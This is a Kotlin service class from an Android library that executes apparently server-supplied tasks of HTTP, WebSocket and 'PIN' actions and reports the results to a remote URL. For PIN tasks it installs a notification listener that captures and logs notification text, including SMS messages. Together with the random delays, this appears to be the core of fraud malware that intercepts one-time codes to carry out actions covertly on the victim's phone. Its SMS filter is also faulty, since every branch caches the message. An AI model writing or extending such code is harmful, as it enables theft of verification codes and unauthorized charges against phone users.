package com.example.vastlib.service

import android.content.Context
import android.os.Bundle
import android.provider.Telephony
import com.example.vastlib.entity.action.BaseAction
import com.example.vastlib.entity.action.HttpAction
import com.example.vastlib.entity.action.PinAction
import com.example.vastlib.entity.action.WebSocketAction
import com.example.vastlib.entity.report.ActionExec
import com.example.vastlib.entity.report.TaskExec
import com.example.vastlib.entity.response.TaskResponse
import com.example.vastlib.entity.task.Task
import com.example.vastlib.entity.task.TaskConfig
import com.example.vastlib.pin.NotificationManger
import com.example.vastlib.pin.NotificationMessage
import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.WebSocketClientManager
import kotlinx.coroutines.*
import java.net.CookieManager
import java.net.CookiePolicy
import kotlin.random.Random

class TaskExecService constructor(
    private val currentTask: Task, private val taskResponse: TaskResponse, userId: String,
    private val context: Context
) {
    private var taskConfig: TaskConfig
    init {
        with(taskResponse) {
            taskConfig = TaskConfig(
                user_id = userId,
                user_agent = taskResponse.userAgent,
                accept = accept,
                accept_language = acceptLanguage,
                task_id = currentTask.taskId,
                task_ver = currentTask.taskVer,
                task_uid = currentTask.taskUid,
                cookie_manager = CookieManager(null, CookiePolicy.ACCEPT_ORIGINAL_SERVER),
                current_step = 0,
                report_url = taskResponse.reportUrl,
                variable_cache = mutableMapOf(),
                notificationCache = mutableListOf()
            )
        }
    }

    suspend fun runTask(timeOutMillis: Long) = withTimeoutOrNull(timeMillis = timeOutMillis) {
        WebSocketClientManager.getInstance().closeClient()
        if (currentTask.isPinAction) {
            LogUtils.info(NotificationManger.NotifyNfm)
            NotificationManger.listener = { bundle ->
                val pinResp = bundle.getSerializable(NotificationManger.NotifyNfm) as NotificationMessage
                val defaultSmsPackage:String? = Telephony.Sms.getDefaultSmsPackage(context)
                if(defaultSmsPackage != null && currentTask.filter) {
                    if(pinResp.app == defaultSmsPackage) {
                        taskConfig.notificationCache += pinResp
                        LogUtils.info(pinResp.content)
                    }else if(defaultSmsPackage != null) {
                       taskConfig.notificationCache += pinResp
                        LogUtils.info(pinResp.content)
                    }
                }else {
                    taskConfig.notificationCache += pinResp
                    LogUtils.info(pinResp.content)
                }
            }
        }
        execTask()
        if(currentTask.isPinAction) {
            NotificationManger.listener = null
        }
        delay((Random.nextInt(30) + 30) * 1000L)
    }

    private suspend fun execTask() {
        kotlin.runCatching {
            val taskExec = TaskExec(
                taskId = currentTask.taskId,
                taskVer = currentTask.taskVer,
                taskUid = currentTask.taskUid,
                logs = mutableListOf(),
                lastStep = 0
            )

            var lastStep = 0
            val logs = mutableListOf<ActionExec>()

            currentTask.actions.apply {
                while (taskConfig.current_step < size) {
                    lastStep = taskConfig.current_step
                    val action = get(lastStep)
                    if (action.disconnect_ws) {
                        WebSocketClientManager.getInstance().closeClient()
                    }

                    when (action.type) {
                        BaseAction.ACTION_TYPE_HTTP -> {
                            (action as? HttpAction)?.apply {
                                HttpActionExecService(this, taskConfig).executeAction {
                                    logs += it
                                }
                            }
                        }
                        BaseAction.ACTION_TYPE_WS -> {
                            (action as? WebSocketAction)?.apply {
                                WebSocketActionExecService(this, taskConfig).executeAction {
                                    logs += it
                                }
                            }
                        }
                        BaseAction.ACTION_TYPE_PIN -> {
                            (action as? PinAction)?.apply {
                                PinActionExecService(this, taskConfig).executeAction {
                                    logs += it
                                }
                            }
                        }
                        else -> {
                            LogUtils.info("unknown action")
                        }
                    }
                }
                if (taskConfig.current_step == Int.MAX_VALUE) {
                } else {
                    lastStep++
                }
                taskExec.lastStep = lastStep
                taskExec.logs = logs
                TaskReportService(taskExec, taskConfig.report_url).run()
            }

        }.onFailure {
            LogUtils.error(it, "task ${currentTask.taskId} execute failed")
        }
    }


}